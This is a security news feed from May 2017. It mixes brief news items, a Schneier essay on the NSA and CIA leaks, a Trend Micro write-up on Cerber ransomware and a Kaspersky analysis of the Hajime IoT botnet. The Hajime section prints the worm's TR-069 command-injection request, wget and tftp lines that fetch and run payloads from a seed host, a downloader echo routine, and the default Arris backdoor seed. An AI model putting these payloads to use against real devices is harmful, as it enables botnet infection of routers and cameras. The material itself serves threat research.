Shared posts

08 May 18:26

Why Is the TSA Scanning Paper?

by Bruce Schneier

I've been reading a bunch of anecdotal reports that the TSA is starting to scan paper separately:

A passenger going through security at Kansas City International Airport (MCI) recently was asked by security officers to remove all paper products from his bag. Everything from books to Post-It Notes, documents and more. Once the paper products were removed, the passenger had to put them in a separate bin to be scanned separately.

When the passenger inquired why he was being forced to remove the paper products from his carry-on bag, the agent told him that it was a pilot program that's being tested at MCI and will begin rolling out nationwide. KSHB Kansas City is reporting that other passengers traveling through MCI have also reported the paper-removal procedure at the airport. One person said that security dug through the suitcase for two "blocks" of Post-It Notes at the bottom.

Does anyone have any guesses as to why the TSA is doing this?

EDITED TO ADD (5/11): This article says that the TSA has stopped doing this. They blamed it on their contractor, Akai Security.

08 May 18:24

PwnBin – Python Pastebin Search Tool

by Darknet
PwnBin is a webcrawler or Pastebin search tool which searches public pastebins for specified keywords. All pastes are then returned after sending completion signal CTRL+C. Apart from being a great tool for developers, Pastebins are often used by hackers to leak stolen credentials or d0x people. This tool can help you search pastebins for your...

Read the full post at darknet.org.uk
08 May 18:23

Wikileaks Unveils CIA's Man-in-the-Middle Attack Tool

by noreply@blogger.com (Mohit Kumar)
Wikileaks has published a new batch of the Vault 7 leak, detailing a man-in-the-middle (MitM) attack tool allegedly created by the United States Central Intelligence Agency (CIA) to target local networks. Since March, WikiLeaks has published thousands of documents and other secret tools that the whistleblower group claims came from the CIA. This latest batch is the 7th release in the
04 May 17:57

Forging Voice

by Bruce Schneier

LyreBird is a system that can accurately reproduce the voice of someone, given a large amount of sample inputs. It's pretty good -- listen to the demo here -- and will only get better over time.

The applications for recorded-voice forgeries are obvious, but I think the larger security risk will be real-time forgery. Imagine the social engineering implications of an attacker on the telephone being able to impersonate someone the victim knows.

I don't think we're ready for this. We use people's voices to authenticate them all the time, in all sorts of different ways.

EDITED TO ADD (5/11): This is from 2003 on the topic.

04 May 17:56

Getting Intelligence Agencies to Adapt to Life Out of the Shadows

by Guest Blogger

Jamie Collier is a Cyber Security DPhil Candidate and a Research Affiliate with the Cyber Studies Programme, University of Oxford. You can follow him @jscollier93

Gone are the days when spy agencies did not officially exist with their personnel and activities guarded surreptitiously away from the public view. Today, the situation could not be more different. The U.S. Office of the Director of National Intelligence has had a Tumblr account since 2014. NSA Director Admiral Mike Rogers appears regularly at conferences and panels. On the other side of the Atlantic, GCHQ Director Robert Hannigan writes op-eds for the Financial Times. GCHQ also recently broke a historical precedent of refusing to comment on allegations about its activities: the agency dismissed the unhelpful allegations about the agency’s role in spying on Trump, made by Andrew Napolitano and then echoed by the White House, claiming that they were ‘utterly ridiculous and should be ignored’. In recent years, signals intelligence (SIGINT) agencies have been pro-actively trying to manage and shape their public perception.

Why are organisations that pride themselves on secrecy, and which have previously appeared allergic to press relations, now proactively getting their message out there? The answer is that they are increasingly communicating out of necessity.

It is no coincidence that many of the attempts by SIGINT agencies to interact with the public have occurred in the aftermath of the Snowden disclosures. SIGINT agencies have struggled to overcome the trust deficit and heightened skepticism over their activity. As traditionally clandestine organizations, the culture within SIGINT agencies contrasts starkly with a more vocal pro-privacy community and a Silicon Valley machinery that invests significant sums in promoting its own narrative. Former NSA Deputy Director Chirs Inglis also acknowledged last year that the recent Oliver Stone movie on Snowden could further shift public perceptions against intelligence agencies. Although SIGINT agencies should not necessarily take on the surveillance debate directly, they are still able to promote themselves in a positive way. Public appearances by senior SIGINT agency staff has led to the perception of a more transparent culture while reminding the public about how SIGINT programs have helped to diffuse recent terrorist attacks also helps to bring a more positive spin—GCHQ claims that information it has gathered stopped six alleged terrorist plots in 2015 alone.

In addition to the battle of public perception, SIGINT agencies have naturally become more communicative due to their expanded remit. Given their history and expertise, they have become the natural choice for governments delegating cybersecurity responsibilities. Yet while collecting signals intelligence is an inherently covert activity, confronting the cybersecurity challenge instead requires a more open and communicative response, such as providing businesses and households with targeted and specific security advice. The need for a departure from the traditional SIGINT mentality has been recognised in the United Kingdom. In 2016, the government established the National Cyber Security Centre (NCSC). The NCSC remains part of GCHQ, but is a distinct identity, and crucially one that is more far more publically facing. Although early days, the NCSC looks set to provide a more relevant and decisive leadership on the issue of cyber security.

SIGINT agencies have also turned to social media as a recruitment tool in an increasingly competitive jobs market. The limited supply of those with skills in computer science and cyber security means that university graduates can earn significantly sums in the private sector that government agencies have struggled to match. For those that do choose to work for the government, there is the added pressure for SIGINT agencies in competing for talent against multiple government organisations. According to Alan Paller, research director of the SANS Institute, “there’s a head-to-head battle between CIA and NSA for every new cyber employee”. Given the competition for talent, SIGINT agencies realize that reaching out to potential employees with a positive case is vital. CSE, GCHQ and the NSA routinely tweet on their qualities as an employer. The NSA also has a separate NSA Careers twitter handle while GCHQ has also used reverse graffiti to advertise careers in Shoreditch—a trendy borough of London frequented by tech-savvy graduates.

Despite the progress made on cyber security and recruitment, SIGINT agencies still face huge challenges in developing a coherent public relations strategy. The Russian interference in the U.S. election has pushed the U.S. intelligence community into unwelcome territory. While U.S. intelligence agencies are supposedly non-partisan, maintaining a neutrality has proved to be increasingly difficult. According to a New York Times report, FBI Director James Comey’s decision to abandon protocol and release information about the Clinton investigation, while withholding information about a Trump investigation, was based on his calculation of the electoral outcome. Ultimately, intelligence agencies are faced with a difficult balancing act, having to provide factual analysis without appearing to conspire against a political party or movement. Although there are no easy answers, intelligence agencies should at least establish clearer protocols for communicating with the public during periods of disinformation and instability. For example, these protocols could include guidance on intelligence agencies should answer accusations of partisan interference in an election.

While some SIGINT agencies have begun to adopt a more proactive public relations strategy, others remain clearly in the shadows. In the current climate of election interference, cyberattacks, and a shortage of technical skills, SIGINT agencies will increasingly find themselves on the back foot if they continue to ignore the importance of engaging with the public. Yet, intelligence agencies should proceed cautiously: the politicized role of intelligence agencies in the U.S. election has shown that public engagement, while necessary, contains its own set of challenges.

The post Getting Intelligence Agencies to Adapt to Life Out of the Shadows appeared first on Net Politics.

04 May 17:54

RCO: Electronic warfare capability hits European soil

by OODA Analyst
“The Army’s Rapid Capabilities Office has sent its near-term electronic warfare capability solution to Europe, and soldiers there will get a chance to put it to the test this summer, said RCO Director Doug Wiltsie.” Source: RCO: Electronic warfare capability hits European soil
04 May 13:48

Mozilla takes a turn slapping Symantec's certification SNAFU

by Richard Chirgwin

Take Google's advice and get out of CA infrastructure'

Mozilla has weighed in to the ongoing Symantec-Google certificate spat, telling Symantec it should follow the Alphabet subsidiary's advice on how to restore trust in its certificates.…

04 May 13:17

NSA kept an eye on 151m phone records – but wait, didn’t bulk collection stop three years ago?

by Lisa Vaas
How did the NSA end up collecting the records of so many people on 2015 when it was only authorized to go after 42 suspected terrorists?
04 May 13:12

Real-World SS7 Attack — Hackers Are Stealing Money From Bank Accounts

by noreply@blogger.com (Swati Khandelwal)
Security researchers have been warning for years about critical security holes in the Signaling System 7 (SS7) that could allow hackers to listen in private phone calls and read text messages on a potentially vast scale, despite the most advanced encryption used by cellular networks. Cellular networks, on the other hand, have consistently been ignoring this serious issue, saying that it is a
04 May 13:09

Bitcoin price blows through $1,500 for the first time

by OODA Analyst
“Bitcoin cleared the $1,500 level for the first time ever late Wednesday. The cryptocurrency trades up 2.8% at $1,544.43 a coin as of 7:07 a.m. ET. It’s higher for the 14th time in 15 days, gaining more than 32% over that time.” Source: Bitcoin price blows through $1,500 for the first time
04 May 13:07

Shamoon update. Sabre discloses possible breach to SEC. Mobile device and VPN threats and vulnerabilities. Information operations and cyberespionage.

In today's podcast we hear that Shamoon's Trojan servant seems to have got a new comms channel. Sabre discloses possible breach: hospitality and travel sectors affected. Some more things to worry about: ultrasonic beaconing, SIM card fraud, VPN privilege escalation, and another bad app in the PlayStore. (But you can fix all these.) Governments look to social media restrictions to control hate speech and fake news. (Social media providers look to human curation and the blockchain for help.) Level 3's Dale Drew describes the evolution they're seeing in botnets. Tripwire's Craig Young shares his research on hacking smart TVs. Cyberespionage and influence updates, from Washington to Seoul.

02 May 17:37

Cerber Version 6 Shows How Far the Ransomware Has Come (and How Far it’ll Go)

by Gilbert Sison (Threats Analyst)

Additional analysis/insights by Alfredo Oliveira

A little over a year after its first variants were found in the wild, Cerber (Detected by Trend Micro as RANSOM_CERBER family) now has the reputation for being the most prolific family of ransomware in the threat landscape. Since it first emerged in Russian underground marketplaces in March, 2016, Cerber has since spawned several versions whose structure, techniques, and capabilities were regularly updated by its developers—sometimes a day apart, in the case of Cerber 4.1.5. It has become so successful that the ransomware family has reportedly eclipsed other families like Locky (RANSOM_LOCKY).

Cerber set itself apart from other file-encrypting malware when its developers commoditized the malware, adopting a business model where fellow cybercriminals can buy the ransomware as a service. The developers earn through commissions—as much as 40%—for every ransom paid by the victim. Coupled with persistence, Cerber turned into a cybercriminal goldmine that reportedly earned its developers $200,000 in commissions in a month alone last year.

Being lucrative and customizable for affiliates, it’s no wonder that Cerber spawned various iterations. Our coverage of unique Cerber samples—based on feedback from Smart Protection Network™—shows enterprises and individual users alike are taking the brunt, with the U.S. accounting for much of Cerber’s impact. We’ve also observed Cerber’s adverse impact among organizations in education, manufacturing, public sector, technology, healthcare, energy, and transportation industries.

Figure 1: Top countries affected by Cerber, with U.S. the most heavily impacted

We’ve also seen how the latest versions of Cerber employed a number of methods to avoid traditional security solutions. Since its emergence in 2016, Cerber’s evolution has shown how its developers constantly diversified the ransomware’s attack chain while broadening its capabilities to stay ahead of the game.

Here is a summary of Cerber’s evolution so far:

Cerber v1, v2 and v3 Cerber v4 Cerber v5 Cerber SFX Cerber v6
File Type EXE EXE EXE SFX (Loader) VBS, DLL EXE
Exceptions (Cerber doesn’t execute if it detects certain components in the system) Language in v1 and v3*

Language and antivirus (AV) for v2*

Language* Language* AV, VM, Sandbox (Loader*), and Language* Language*
Anti-AV Routine None None None None EXE files of AV, Firewall and Antispyware products set to be blocked by Windows firewall rules*
Anti-sandbox None None None VM and Sandbox (Loader*) VM and Sandbox (Loader*)
Backup Deletion Yes (vsadmin, WMIC, BCDEdit)* Yes (WMIC)* Yes (WMIC)*

Removed in v5.02

 Varies (some samples have backup deletion capabilities) Varies (some samples have backup deletion capabilities)
Exclusion List 
(directories and file types Cerber doesn’t encrypt)
Folder and file* Folder and file* Folder and file*; and AV, Antispyware, and Firewall directories Folder and file*; and AV, Antispyware, and Firewall directories Folder and file*

Figure 2: All versions of Cerber are known to target personal and business-related (i.e. database) files; asterisks (*) indicate they are configurable and can be customized by the affiliate/buyer

A reflection of how far Cerber has come in the threat landscape—and how far it’ll go—is Cerber Version 6, the ransomware’s latest version we’ve uncovered and monitored since early April this year. It sports multipart arrival vectors and refashioned file encryption routines, along with defense mechanisms that include anti-sandbox and anti-AV techniques.

Cerber’s Evolution in Spam Emails

All versions of Cerber are known for using spam emails as one of its arrival vectors. In Version 6, the socially engineered spam emails we’ve seen contain a zipped attachment with a malicious JavaScript (JS) file. The various JS files we analyzed have a three-pronged approach: directly download and execute its payload, create a scheduled task to run Cerber after two minutes, or run an embedded PowerShell script.

Figure 3: Infection chain of Cerber Version 6

Adding a time delay in the attack chain enables Cerber to elude traditional sandboxes, particularly those with time-out mechanisms or that wait for the final execution of the malware. Other JS files we saw ran powershell.exe (called by wscript.exe) whose parameter is a PowerShell script—the one responsible for downloading the ransomware and executing it in the system.


Figure 4: Sample Cerber 6-carrying spam email posing as a public postal service agency

Cerber’s attack chains were fairly forthright back then. In May 2016, Cerber was distributed as a Windows Script File containing an obfuscated, Cerber-toting JScript code. Along with seemingly legitimate email content, it was one of the early techniques Cerber used to evade spam filters and heuristic analysis. Barely a week after, Cerber was updated with the capability to integrate the infected system into botnets, which were employed to conduct distributed denial of service (DDoS) attacks. By July, a spam campaign was seen abusing cloud-based productivity platform Office 365 through Office documents embedded with malicious macro that downloads and helps execute the ransomware.

Exploit kits are also a key element in Cerber’s distribution. Cerber-related malvertising campaigns were observed in 2016 diverting users to Magnitude, Rig, and Neutrino—which has since gone private—exploit kits that target system or software vulnerabilities. This year, we’re seeing relatively new player Sundown exploit kit joining the fray.

More Cautious, Defensive

Cerber 6 has features that stand out. For one, it no longer has a routine for terminating processes, which we saw in earlier versions like Cerber 4, which terminates database software-related processes to ensure encryption of files. This routine can be construed as superfluous, since Cerber, along with a strong encryption capability, already hits a broad target base and file types to start with.

Cerber 6 also added another check on file extensions it’s not supposed to encrypt. This harks back to how we saw Cerber exhibiting behaviors that foreshadowed its shift to stealth-focused techniques. In February this year, certain variants (RANSOM_CERBER.F117AK) started checking if the affected system had any firewall, antivirus, and antispyware products installed, ensuring that their associated files aren’t encrypted.

Cerber 6 goes beyond identifying them and can now be configured to have Windows firewall rules added in order to block the outbound traffic of all the executable binaries of firewalls, antivirus, and antispyware products installed in the system. This can possibly restrict their detection and mitigation capabilities. This is further exacerbated by how Cerber can also circumvent static machine learning detection on top of self-awareness of analysis tools and virtualized environments that allows it to evade them (by self-destructing).


Figure 5: Cerber 6 uses Windows Management Interface to check for security products installed in the system


Figure 6: Cerber retrieving exe files of security products and creating a firewall rule to block their traffic

Cerber 6 has also eschewed the implementation of RSA and RC4 algorithms in its encryption routine in favor of Cryptographic Application Programming Interface (CryptoAPI).  Another notable difference is the creation of a separate function that reads and encrypts the contents of the file. Cerber’s developers are noted to implement their own encryption; the abuse of Windows’s CryptoAPI and separation of encryption function for Cerber 6 denote constant efforts from the malware authors to streamline their operations.


Figure 7: In Cerber 6, the file is read and its contents encrypted using CryptEncrypt then written back

What does Cerber’s Future Hold?

Given the ransomware’s commercial nature, its outlook depends on the demands of its affiliates and distributors, or the need of the operators/developers to maintain Cerber’s competitiveness as a service. This is exemplified by the various changes we’ve observed in the ransomware’s structure.

While Cerber’s distribution methods remain consistent, we’ve seen newer variants delivered as self-extracting archives (SFX package) containing malicious Visual Basic Script (.VBS) and Dynamic-link library (.DLL) files that execute a rather intricate attack chain compared to other versions.

While these Cerber-carrying SFX packages aren’t prevalent in the wild right now, it’s one of the signs of things to come for Cerber. It is not far-fetched for Cerber to emulate how Locky constantly changed email file attachments in its spam campaigns by expanding arrival vectors beyond JS files and PowerShell scripts—from JScript to HTML Application (.HTA) and compressed binary files (.BIN)—and exploiting file types that aren’t usually used to deliver malware.

In fact, we’re currently seeing .HTA files being leveraged by a campaign that uses Cerber as payload. Our initial analysis indicates that the campaign, which we began monitoring by the third week of April, appears to be targeting Europe. We also found the same campaign attacking two Latin American countries. This campaign is notable for displaying Cerber’s ransom note in the local language of the infected system. It uses an .HTA file to show the online message/ransom note as well as detect the local language to be displayed.


Figure 8: Cerber’s ransom note as it appears in Brazil, written in Portuguese


Figure 9: Code strings in Cerber’s online ransom note to detect the local language

Even infection chain and target platforms are expected to broaden. An information-stealing Trojan, for instance, once capitalized on Cerber by incorporating the ransomware as a secondary payload. Exploits for a recently patched remote code execution vulnerability in Apache Struts 2 (CVE-2017-5638) reportedly emerged to infect Windows servers with Cerber.

Indeed, Cerber’s evolution reflects the need for organizations and end users to be aware of today’s constantly evolving threats. End users risk losing money and their important personal files to ransomware; it also threatens organizations’ business operations, reputation, and bottom line.

While there is no silver bullet against ransomware, keeping systems up-to-date, taking caution against unsolicited and suspicious emails, regularly backing up important files, and cultivating a culture of cybersecurity in the workplace are just some of the best practices for defending against ransomware. IT/system administrators and information security professionals can further defend their organization’s perimeter by incorporating additional layers of security against suspicious files, processes, applications, and network activity that can be exploited and leveraged by ransomware. Users and businesses can also benefit from a multilayered approach to security that covers the gatewayendpointsnetworks, and servers.

Trend Micro Ransomware Solutions:

Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files, and spammed messages as well as blocking all related malicious URLs. Trend Micro™ Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.

Trend Micro OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against ransomware and advanced malware. Our machine learning capabilities are tuned to account for attacks using techniques employed by ransomware like Cerber.

PROTECTION FOR ENTERPRISES

  • Endpoint Protection

    Trend Micro Smart Protection Suites detects and stops suspicious behavior and exploits associated with ransomware at the endpoint level.

    Ransomware Behavior Monitoring
    Application Control
    Vulnerability Shielding
    Web Security
  • Network Protection

    Trend Micro Deep Discovery Inspector detects malicious traffic, communications, and other activities associated with attempts to inject ransomware into the network.

    Network Traffic Scanning
    Malware Sandbox
    Lateral Movement Prevention
  • Server Protection

    Trend Micro Deep SecurityTM detects and stops suspicious network activity and shields servers and applications from exploits.

    Webserver Protection
    Vulnerability Shielding
    Lateral Movement Prevention

PROTECTION FOR SMALL-MEDIUM BUSINESSES AND HOME USERS

  • Protection for Home Users

    Trend Micro Security 10 provides robust protection against ransomware by blocking malicious websites, emails, and files associated with this threat.

    IP/Web Reputation
    Ransomware Protection

Post from: Trendlabs Security Intelligence Blog - by Trend Micro

Cerber Version 6 Shows How Far the Ransomware Has Come (and How Far it’ll Go)

01 May 17:43

OilRig fingered as Iranian state-sponsored group behind attempted hacks of Israeli targets. Shamoon still under the same management. Botnet wars in the IoT. Countermessaging, hopes of missile hacks, and more. 

In today's podcast, we hear that researchers have named the hitherto unnamed country that attempted to hack Israeli targets. Other researchers conclude Shamoon is still under the same management. Roles and missions dispute among Israeli security organizations. Peter Galvin from Thales takes a look at data security in the US Federal sector. VA Tech's Dr. Charles Clancy explains the pros and cons of 5G mobile technology. Financial malware vector startles phishing victims into clicking. Vigilante botnets are not helping the IoT. Countermessaging is still not as easy as it looks. And there's a lot of thinly sourced hope about hacking North Korean missiles.

01 May 13:17

Who is Publishing NSA and CIA Secrets, and Why?

by Bruce Schneier

There's something going on inside the intelligence communities in at least two countries, and we have no idea what it is.

Consider these three data points. One: someone, probably a country's intelligence organization, is dumping massive amounts of cyberattack tools belonging to the NSA onto the Internet. Two: someone else, or maybe the same someone, is doing the same thing to the CIA.

Three: in March, NSA Deputy Director Richard Ledgett described how the NSA penetrated the computer networks of a Russian intelligence agency and was able to monitor them as they attacked the US State Department in 2014. Even more explicitly, a US ally­ -- my guess is the UK -- ­was not only hacking the Russian intelligence agency's computers, but also the surveillance cameras inside their building. "They [the US ally] monitored the [Russian] hackers as they maneuvered inside the U.S. systems and as they walked in and out of the workspace, and were able to see faces, the officials said."

Countries don't often reveal intelligence capabilities: "sources and methods." Because it gives their adversaries important information about what to fix, it's a deliberate decision done with good reason. And it's not just the target country who learns from a reveal. When the US announces that it can see through the cameras inside the buildings of Russia's cyber warriors, other countries immediately check the security of their own cameras.

With all this in mind, let's talk about the recent leaks at NSA and the CIA.

Last year, a previously unknown group called the Shadow Brokers started releasing NSA hacking tools and documents from about three years ago. They continued to do so this year -- ­five sets of files in all­ -- and have implied that more classified documents are to come. We don't know how they got the files. When the Shadow Brokers first emerged, the general consensus was that someone had found and hacked an external NSA staging server. These are third-party computers that the NSA's TAO hackers use to launch attacks from. Those servers are necessarily stocked with TAO attack tools. This matched the leaks, which included a "script" directory and working attack notes. We're not sure if someone inside the NSA made a mistake that left these files exposed, or if the hackers that found the cache got lucky.

That explanation stopped making sense after the latest Shadow Brokers release, which included attack tools against Windows, PowerPoint presentations, and operational notes -- ­documents that are definitely not going to be on an external NSA staging server. A credible theory, which I first heard from Nicholas Weaver, is that the Shadow Brokers are publishing NSA data from multiple sources. The first leaks were from an external staging server, but the more recent leaks are from inside the NSA itself.

So what happened? Did someone inside the NSA accidentally mount the wrong server on some external network? That's possible, but seems very unlikely. Did someone hack the NSA itself? Could there be a mole inside the NSA, as Kevin Poulsen speculated?

If it is a mole, my guess is that he's already been arrested. There are enough individualities in the files to pinpoint exactly where and when they came from. Surely the NSA knows who could have taken the files. No country would burn a mole working for it by publishing what he delivered. Intelligence agencies know that if they betray a source this severely, they'll never get another one.

That points to two options. The first is that the files came from Hal Martin. He's the NSA contractor who was arrested in August for hoarding agency secrets in his house for two years. He can't be the publisher, because the Shadow Brokers are in business even though he is in prison. But maybe the leaker got the documents from his stash: either because Martin gave the documents to them or because he himself was hacked. The dates line up, so it's theoretically possible, but the contents of the documents speak to someone with a different sort of access. There's also nothing in the public indictment against Martin that speaks to his selling secrets to a foreign power, and I think it's exactly the sort of thing that the NSA would leak. But maybe I'm wrong about all of this; Occam's Razor suggests that it's him.

The other option is a mysterious second NSA leak of cyberattack tools. The only thing I have ever heard about this is from a Washington Post story about Martin: "But there was a second, previously undisclosed breach of cybertools, discovered in the summer of 2015, which was also carried out by a TAO employee, one official said. That individual also has been arrested, but his case has not been made public. The individual is not thought to have shared the material with another country, the official said." But "not thought to have" is not the same as not having done so.

On the other hand, it's possible that someone penetrated the internal NSA network. We've already seen NSA tools that can do that kind of thing to other networks. That would be huge, and explain why there were calls to fire NSA Director Mike Rogers last year.

The CIA leak is both similar and different. It consists of a series of attack tools from about a year ago. The most educated guess amongst people who know stuff is that the data is from an almost-certainly air-gapped internal development wiki­a Confluence server­ -- and either someone on the inside was somehow coerced into giving up a copy of it, or someone on the outside hacked into the CIA and got themselves a copy. They turned the documents over to WikiLeaks, which continues to publish it.

This is also a really big deal, and hugely damaging for the CIA. Those tools were new, and they're impressive. I have been told that the CIA is desperately trying to hire coders to replace what was lost.

For both of these leaks, one big question is attribution: who did this? A whistleblower wouldn't sit on attack tools for years before publishing. A whistleblower would act more like Snowden or Manning, publishing immediately -- ­and publishing documents that discuss what the US is doing to whom, not simply a bunch of attack tools. It just doesn't make sense. Neither does random hackers. Or cybercriminals. I think it's being done by a country or countries.

My guess was, and is still, Russia in both cases. Here's my reasoning. Whoever got this information years before and is leaking it now has to 1) be capable of hacking the NSA and/or the CIA, and 2) willing to publish it all. Countries like Israel and France are certainly capable, but wouldn't ever publish. Countries like North Korea or Iran probably aren't capable. The list of countries who fit both criteria is small: Russia, China, and...and...and I'm out of ideas. And China is currently trying to make nice with the US.

Last August, Edward Snowden guessed Russia, too.

So Russia -- ­or someone else­ -- steals these secrets, and presumably uses them to both defend its own networks and hack other countries while deflecting blame for a couple of years. For it to publish now means that the intelligence value of the information is now lower than the embarrassment value to the NSA and CIA. This could be because the US figured out that its tools were hacked, and maybe even by whom; which would make the tools less valuable against US government targets, although still valuable against third parties.

The message that comes with publishing seems clear to me: "We are so deep into your business that we don't care if we burn these few-years-old capabilities, as well as the fact that we have them. There's just nothing you can do about it." It's bragging.

Which is exactly the same thing Ledgett is doing to the Russians. Maybe the capabilities he talked about are long gone, so there's nothing lost in exposing sources and methods. Or maybe he too is bragging: saying to the Russians that he doesn't care if they know. He's certainly bragging to every other country that is paying attention to his remarks. (He may be bluffing, of course, hoping to convince others that the US has intelligence capabilities it doesn't.)

What happens when intelligence agencies go to war with each other and don't tell the rest of us? I think there's something going on between the US and Russia that the public is just seeing pieces of. We have no idea why, or where it will go next, and can only speculate.

This essay previously appeared on Lawfare.com.

25 Apr 11:21

NSA’s DoublePulsar Kernel Exploit In Use Internet-Wide

by Michael Mimoso
Scans show tens of thousands of Windows servers infected with the DoublePulsar kernel exploit leaked by the ShadowBrokers two weeks ago.
25 Apr 11:19

Hajime, the mysterious evolving botnet

by Jornt van der Wiel

Introduction

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

  1. TR-069 exploitation;
  2. Telnet default password attack;
  3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

GET / HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: 0

Where RANDOM_USER_AGENT is chosen from the following list:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

After some checks, it sends the following request to trigger the vulnerability:

POST /UD/act?1 HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: BODY_LENGTH

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version=”1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodinghttp://schemas.xmlsoap.org/soap/encoding//”>http://schemas.xmlsoap.org/soap/encoding/“>

<SOAP-ENV:Body>

<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>

<NewNTPServer1>INJECT_COMMANDS</NewNTPServer1>

<NewNTPServer2></NewNTPServer2>

<NewNTPServer3></NewNTPServer3>

<NewNTPServer4></NewNTPServer4>

<NewNTPServer5></NewNTPServer5>

</u:SetNTPServers>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

The INJECT_COMMANDS can either be:

cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

or:

cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

./.s>.i; chmod +x .i; ./.i; rm .s;

exit

“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:

(none)

host

Welcome to ATP Cli

STAR-NET ADSL2+ Router

Mdm9625

BCM

MikroTik

SMC

P-2612HNU

ipc

dvrdvs

F660

F609

One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.

Victimology

While working on this blogpost, we collected statistics using three different methods:

  1. We had a honeypot with telnet open;
  2. We looked at the infected peers as DHT seeders;
  3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Hajime, the mysterious evolving botnet

Distribution of attackers by country
Vietnam 509 20.04%
Taiwan 327 12.87%
Brazil 227 8.94%
Turkey 167 6.57%
Korea 150 5.91%
India 141 5.55%
China 97 3.82%
Russia 72 2.83%
Romania 69 2.72%
Colombia 58 2.28%
Mexico 54 2.13%
Others 669 26.34%
Total 2540

Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

http header “Server” statistics
364 Server: uc-httpd 1.0.0
43 Server: WCY_WEBServer/2.0
9 Server: Boa/0.94.14rc21
